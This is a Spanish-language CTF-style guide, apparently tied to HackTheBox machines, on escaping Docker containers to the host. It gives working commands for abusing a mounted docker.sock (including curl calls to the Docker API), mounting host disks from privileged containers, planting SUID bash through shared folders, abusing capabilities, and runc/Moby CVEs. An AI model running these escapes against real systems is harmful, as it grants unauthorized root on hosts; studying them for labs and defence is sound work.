Escapar de un contenedor Docker: docker.sock y modo privilegiado
Cómo saber si estás dentro de un contenedor, qué revisar y cómo salir al anfitrión con docker.sock, --privileged, discos montados, capabilities o un Docker vulnerable.
Consigues una shell, eres root... y no hay flag en /root. Muy probablemente estás dentro de un contenedor. Ser root ahí no es ser root en la máquina: hay que salir al anfitrión. Esta guía cubre la salida desde dentro; si en el anfitrión perteneces al grupo docker o lxd, eso ya está en la guía de cron, PATH y grupos.
¿Estoy en un contenedor?
ls -la /.dockerenv # existe en contenedores Docker
cat /proc/1/cgroup # rutas con docker, kubepods o containerd
hostname # un identificador hexadecimal de 12 caracteres
ps aux | wc -l # muy pocos procesos
ip a; cat /etc/hosts # IP 172.17.x.x y nombres de otros servicios
Si estás en uno, antes de intentar salir mira qué hay dentro: variables de entorno (env), ficheros de configuración de la aplicación y la red. Muchas veces el contenedor tiene credenciales de la base de datos u otro servicio que sí te llevan al anfitrión. En Busqueda las contraseñas están en las variables de entorno de los contenedores.
La lista de comprobación
| Comprueba | Comando | Si sale... |
|---|---|---|
| Socket de Docker montado | ls -la /var/run/docker.sock /run/docker.sock |
Controlas Docker del anfitrión |
| Contenedor privilegiado | ip link add x type dummy funciona; ls /dev muestra los discos (sda, nvme0n1) |
Montas el disco del anfitrión |
| Capabilities peligrosas | capsh --print o grep Cap /proc/self/status |
cap_sys_admin, cap_sys_module, cap_dac_read_search, cap_sys_ptrace |
| Carpetas del anfitrión montadas | mount, df -h, cat /proc/self/mountinfo |
Escribes en ellas como root |
| Versión de Docker / runc | docker version desde el anfitrión o el socket |
CVE conocido |
| Kubernetes | ls /var/run/secrets/kubernetes.io/serviceaccount/ |
Un token para la API del clúster |
La herramienta deepce.sh hace toda la lista de golpe y además busca credenciales.
docker.sock montado
Si el socket está dentro, puedes pedirle al Docker del anfitrión que arranque otro contenedor con el disco del anfitrión montado:
# con el cliente docker (súbelo como binario estático si no está)
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host bash
# sin cliente, hablando con la API por curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host sh -c \"cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb\""],"HostConfig":{"Binds":["/:/host"]}}' \
http://localhost/containers/create
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<id>/start
Usa una imagen que ya exista en el anfitrión (la lista sale de /images/json), porque la máquina no tendrá Internet para descargar alpine. Lo mismo pasa si la API de Docker escucha por TCP (puertos 2375 y 2376): es la vía de MonitorsFour.
Contenedor privilegiado (--privileged)
Un contenedor privilegiado ve los dispositivos del anfitrión. Monta el disco y ya:
fdisk -l # busca la partición grande del anfitrión
mkdir /mnt/h && mount /dev/sda1 /mnt/h
chroot /mnt/h bash # o escribe tu clave en /mnt/h/root/.ssh/authorized_keys
Es lo que pasa en Ready. Si fdisk no ve discos pero tienes cap_sys_admin, la técnica clásica es el release_agent de cgroups v1: hace que el anfitrión ejecute un script tuyo cuando se vacía un cgroup.
Capabilities
| Capability | Abuso |
|---|---|
cap_sys_admin |
Montar, release_agent de cgroups, casi equivale a privilegiado |
cap_sys_module |
Cargar un módulo del kernel propio: código en el kernel del anfitrión |
cap_dac_read_search |
Leer cualquier fichero del anfitrión con open_by_handle_at (exploit shocker) |
cap_sys_ptrace + --pid=host |
Inyectar código en un proceso del anfitrión |
Carpetas compartidas con el anfitrión
Si una carpeta del anfitrión está montada con permisos de escritura y tú eres root en el contenedor, lo que escribas tendrá dueño root también fuera. El truco clásico: copia bash dentro con SUID y ejecútalo desde un usuario sin privilegios en el anfitrión.
# dentro del contenedor (root)
cp /bin/bash /montaje/rb && chmod 4755 /montaje/rb
# en el anfitrión (usuario normal), en la ruta real de esa carpeta
./rb -p
Asegúrate de que el bash es compatible con el anfitrión (misma arquitectura y librerías) o copia el del propio anfitrión si puedes leerlo.
Docker o runc vulnerables
- CVE-2019-5736 (runc): sobrescribe el binario
runcdel anfitrión desde dentro del contenedor (TheNotebook). - CVE-2021-41091 (Moby): los directorios de los contenedores en
/var/lib/dockerson accesibles a usuarios sin privilegios del anfitrión. Si eres root en el contenedor y usuario en el anfitrión, pones un SUID dentro y lo ejecutas fuera (MonitorsTwo). - CVE-2024-21626 (runc, Leaky Vessels): un descriptor de fichero filtrado da acceso al sistema de ficheros del anfitrión.
Si nada de esto funciona, sigue enumerando como en cualquier Linux: la guía de sudo, SUID y capabilities y la chuleta de escalada en Linux.